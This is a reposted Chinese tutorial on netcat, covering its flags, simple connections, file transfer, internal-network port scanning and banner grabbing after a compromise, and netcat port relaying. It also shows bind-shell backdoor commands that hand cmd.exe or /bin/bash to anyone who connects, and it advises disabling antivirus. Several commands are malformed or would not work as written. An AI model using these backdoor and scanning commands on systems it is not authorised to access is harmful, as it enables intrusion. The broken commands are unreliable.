标签：nc ip cmd 4444 netcat Netcat 服务端
nc全称为netcat，所做的就是在两台电脑之间建立链接，并返回两个数据流 网络中的瑞士军刀
1.netcat常用参数
-l:设置netcat处于监听状态等待连接
-L：设置netcat处于监听状态等待连接，当客户端断开，服务端依旧回到等待状态
-p：本地监听端口号
-v：显示端口信息，如果使用-vv的话，则显示更加详细的端口信息
-e：执行某个程序，如cmd.exe
-n:只识别IP地址，不对目标进行DNS解析
-u：使用UDP模式（nc默认使用tcp连接）
-z：zero I/O模式，专用端口扫描。表示对目标IP发送的数据表中不包含payload，加快扫描速度
-w1:超时设置1秒
-d:脱离命令窗口，在后台运行，常用于后门的建立过程
-G:gateway 设置网关，用于内网突破限制
-g：num，路由调数
-o :file,设置传输16进制的数据
-s:addr,设置netcat源地址，隐藏自己的ip地址
-t：恢复telnet的请求数据包
-r：设置netcat随机化的端口号
2.基础使用
2.1 简单通信
一般通信:
创建服务端：nc -l -p 4444
创建客户端：nc 192.168.59.138 4444
此时并不能对服务端进行命令执行
返回shell的通信：
服务端：nc -l -p 4444 -e cmd.exe
客户器端可以对服务端执行cmd的命令
注：我是在同一台电脑里进行nc实验的，客户端的ip应填服务器的ip。
2.2 文件传输
创建服务端：nc -l -p 4444 > outfile
服务端接受一个文件并重定向到 outfile
创建客户端：nc 192.168.59.138 4444 < infile
实现了客户端向服务器端传输文件
3.内网探测
3.1 端口扫描
获得目标的权限之后，目标没有途径可以去进行内网探测，此时可以用nc对内网ip和端口进行扫描
-nc -v -n -z -w1 192.168.59.135 1-65535
3.2 Banner抓取
-echo “ ” | -nc -v -n -z -w1 192.168.59.135 1-65535
banner 信息来表示欢迎语，其中会包含一些敏感信息，所以获取 banner 也属于信息搜集的范畴。
4.建立后门
原理：netcat一切数据通过标准输入/输出流实现的，所以可以利用netcat的命令进行后门的简历，并传输结果信息。
4.1 对windows建立后门
-nc -l -p 4444 -e cmd.exe
4.2 对linux建立后门
-nc -l -p 4444 -e /bin/bash
5.netcat连接转发(端口转发)
突破某些特殊情况下的连接限制
- echo nc [target][IP] > delay.bat
delay.bat nc ip port
-nc -l -p [localport] -e delay.bat
6.windows下载
windows下选择netcat 1.11，保存即可。关闭杀毒软件或加入白名单，将nc.exe拖入cmd中即可运行netcat。
标签：nc,ip,cmd,4444,netcat,Netcat,服务端 来源： https://www.cnblogs.com/howtime/p/12584941.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。